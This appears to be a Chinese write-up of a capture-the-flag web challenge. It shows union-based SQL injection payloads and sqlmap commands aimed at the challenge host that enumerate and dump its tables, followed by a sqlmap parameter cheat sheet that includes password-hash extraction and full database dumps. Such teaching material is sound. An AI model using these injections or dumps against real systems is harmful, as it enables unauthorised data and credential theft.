攻防世界web:NewsCenter(含sqlmap基本参数讲解)

发布于:2025-03-10 ⋅ 阅读:(12) ⋅ 点赞:(0)

直接在页面内部进行注入

页面

页面长上述这个样子,从可搜索和有回应可以判断得到应该是SQL注入相关的内容。因此考虑SQL注入方式进行解题。
输入:
?id=1' union select 1,2,3--
显示:
回应1
说明第二行和第三行有内容回应,查找数据库的名字,输入:
?id=1' union select 1,2,database()--
可以得到:
回应2
所以数据库的名字是news。进一步从数据库中查找表名,输入:
?id=1' union select 1,2,table_name from information_schema.tables where table_schema='news'#
得到结果:
回应3
所以表名为:secret_table,然后就可以直接从表中查找信息了。输入:
?id=1' union select 1,2,group_concat(fl4g) from secret_table-- -
知识点有:

mysql中的information_schema 结构用来存储数据库系统信息

information_schema 结构中这几个表存储的信息,在注射中可以用到的几个表。

| SCHEMATA ――>存储数据库名的,

|——>关键字段:SCHEMA_NAME,表示数据库名称

| TABLES ――>存储表名的

|——>关键字段:TABLE_SCHEMA表示表所属的数据库名称;

TABLE_NAME表示表的名称

| COLUMNS ――>存储字段名的

|——>关键字段:TABLE_SCHEMA表示表所属的数据库名称;

TABLE_NAME表示所属的表的名称

COLUMN_NAME表示字段名

下面是用sqlmap解答的版本

先查数据库名字:

python sqlmap.py -u http://61.147.171.106:49896 --data='search=1' --dbs
得到结果
在这里插入图片描述
然后再查数据库中含表的名字:
python sqlmap.py -u http://61.147.171.106:49896 --data='search=1' --tables -D 'news'
得到结果:
在这里插入图片描述
再从表中来得到所有行的信息:
python sqlmap.py -u http://61.147.171.106:49896 --data='search=1' -T 'secret_table' --dump
在这里插入图片描述

后面补充一下sqlmap中主要参数的含义

-v  #详细的等级(0-6) 
    0:只显示Python的回溯,错误和关键消息。 
    1:显示信息和警告消息。 
    2:显示调试消息。 
    3:有效载荷注入。 
    4:显示HTTP请求。 
    5:显示HTTP响应头。 
    6:显示HTTP响应页面的内容 
    建议使用等级 3 ,可以看到注入语句的Payload,利于入门者学习。
 
-u "http://xxx/Less-1/?id=1" 注入点
 
-f  #指纹判别数据库类型
 
-b  #获取数据库版本信息 
 
-p  #指定可测试的参数(?page=1&id=2 -p "page,id") 
 
--level=(1-5) #要执行的测试水平等级,默认为1 level 算是一共注入测试等级,一共是五级,级别越高,检测的内容也就越多,检测级别大于等于 2 时会检测 cookie 是否有注入,检测级别大于等于 3 时会检测 User-Agent 和 Referer 是否有注入。比较推荐使用 5 等级进行测试,确保不会漏掉注入点。
 
--risk=(0-3)  #测试执行的风险等级,默认为1 一共有3个危险等级,也就是说你认为这个网站存在几级的危险等级。和探测等级一个意思,在不确定的情况下,建议设置为3级
 
--time-sec=(2,5) #延迟响应,默认为5 
 
--data #通过POST发送数据 
 
--columns        #列出字段 
 
--current-user   #获取当前用户名称 
 
--current-db     #获取当前数据库名称 
 
--users          #列数据库所有用户 
 
--passwords      #数据库用户所有密码 
 
--privileges     #查看用户权限(--privileges -U root) 
 
--dbs            #列出所有数据库 
 
--tables -D ""   #列出指定数据库中的表 
 
--columns -T "user" -D "mysql"      #列出mysql数据库中的user表的所有字段 
 
--dump-all            #列出所有数据库所有表 
 
--dump -T "" -D "" -C ""   #列出指定数据库的表的字段的数据(--dump -T users -D master -C surname) 

 -D DB               #要进行枚举的指定数据库名

   -T TBL             # DBMS数据库表枚举

   -C COL             # DBMS数据库表列枚举
 
--is-dba      #是否是数据库管理员 
 
--data "" #POST方式提交数据(--data "page=1&id=2") 
 
--cookie "用;号分开"      #cookie注入(--cookies=”PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low”) 
 
--referer ""     #使用referer欺骗(--referer "http://www.baidu.com") 
 
--user-agent ""  #自定义user-agent